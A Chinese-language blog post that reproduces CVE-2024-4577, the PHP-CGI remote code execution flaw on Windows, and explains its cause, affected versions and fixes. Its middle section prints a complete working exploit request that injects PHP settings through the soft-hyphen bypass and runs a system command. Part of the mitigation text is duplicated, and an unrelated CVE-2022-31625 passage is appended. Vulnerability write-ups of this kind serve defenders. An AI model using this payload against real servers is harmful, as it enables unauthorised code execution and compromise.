PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)复现

PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)复现

1.漏洞描述:

PHP(Hypertext Preprocessor,超文本预处理器)是一种广泛使用的开源脚本语言,主要用于Web开发,用于生成动态网页内容。PHP的语法借鉴了C、Java、Perl等语言的特点,易于学习,并且可以快速执行。

漏洞产生的本质其实是Windows系统内字符编码转换的Best-Fit特性导致的,导致未经身份认证的远程攻击者可以通过特定的字符序列绕过此前CVE-2012-1823的防护,通过参数注入攻击在远程PHP服务器上执行任意代码,从而导致远程代码执行。

由于Windows系统内字符编码转换的Best-Fit特性导致PHP原本的安全限制被绕过,再加上一些特殊的PHP CGI环境配置导致了这个问题,最终导致漏洞利用的算是一些PHP的小技巧

影响范围:

这个漏洞理论上影响PHP的所有版本

  • PHP 8.3 < 8.3.8
  • PHP 8.2 < 8.2.20
  • PHP 8.1 < 8.1.29

除此之外的其他PHP版本官方已经不再维护了,包括PHP8.0、PHP7、PHP5在内,但是理论上来说他们都受到这个影响。

2.漏洞复现

环境搭建:

https://www.apachefriends.org/zh_cn/index.html

直接下载XAMPP ,启动mysql和apache

在这里插入图片描述

默认配置直接命令执行,不需要进行额外配置,直接点击启动就可以

POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+allow_url_include%3Don+%ADd+auto_prepend_file%3Dphp%3A//input HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11.2; rv:122.0) Gecko/20000101 Firefox/122.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Redirect-Status: 1
Content-Length: 22

<?php system('dir');?>

在这里插入图片描述

-d allow_url_include=on

控制允许在include、include_once、require、require_once等函数中使用URL作为文件名,可以远程url加载执行php代码

-d auto_prepend_file=php://input

php://input流通常用于读取POST数据,而-d auto_prepend_file则指定了包含的php脚本为POST输入

-d cgi.force_redirect=0

xampp默认没开cgi,在原理层面其实是apache使用scriptalias把php-cgi.exe映射到web目录下面了,这种情况下cgi.force_redirect限制了你通过url直接访问exe,所以最稳定的poc是加上-d cgi.force_redirect=0

3.漏洞修复

将PHP升级到官方最新版本 8.3.8、8.2.20和8.1.29。下载链接:https://www.php.net/downloads.php

缓解方案:

1.不方便更新版本的Windows用户,建议暂时关闭php-cgi的使用。

2.以下重写规则可用于阻止攻击。需要注意的是,这些规则仅对繁体中文、简体中文和日语语言环境起到临时缓解作用。在实际操作中,仍然建议更新到补丁版本或迁移架构。

RewriteEngine On

RewriteCond %{QUERY_STRING} ^%ad [NC]

RewriteRule .? - [F,L]

  1. 对于使用 XAMPP for Windows 的用户:

如果确认不需要 PHP CGI 功能,可以通过修改以下 Apache HTTP Server 配置来避免受到该漏洞的影响:

C:/xampp/apache/conf/extra/httpd-xampp.conf

找到相应的行:

ScriptAlias /php-cgi/ “C:/xampp/php/”

并将其注释掉:

f/extra/httpd-xampp.conf

找到相应的行:

ScriptAlias /php-cgi/ “C:/xampp/php/”

并将其注释掉:

# ScriptAlias /php-cgi/ “C:/xampp/php/”

  • 3
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
针对PHP远程代码执行漏洞(CVE-2022-31625),以下是一些修复方法: 1. 更新到最新版本:确保你的PHP版本是最新的,因为漏洞修复通常会包含在更新中。请访问PHP官方网站或者使用包管理工具来获取最新版本。 2. 禁用危险函数:在php.ini配置文件中,禁用危险函数可以帮助防止远程代码执行。可以使用disable_functions指令来禁用一些敏感函数,如eval()、exec()、system()等。 3. 安全配置:检查你的PHP配置文件,确保安全设置已经启用。例如,禁用动态加载扩展、限制文件上传目录和大小、禁用远程文件包含等。 4. 输入验证和过滤:在你的应用程序中对用户输入进行严格的验证和过滤,以防止恶意代码注入。 5. 使用安全框架或库:使用安全框架或库来帮助防止远程代码执行漏洞。这些框架通常提供安全的默认配置和内置的安全功能。 6. 定期更新和监控:定期检查并更新你的应用程序和相关组件,以确保及时修复已知漏洞。同时,监控应用程序的日志和网络流量,以便及时发现异常行为。 请注意,这些方法只是一些常用的修复措施,具体的修复方法可能会因系统配置和应用程序的特定情况而有所不同。建议在修复漏洞之前,先进行充分的测试和备份。此外,如果你不确定如何处理或无法解决该漏洞,请咨询安全专家或PHP开发人员的帮助。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值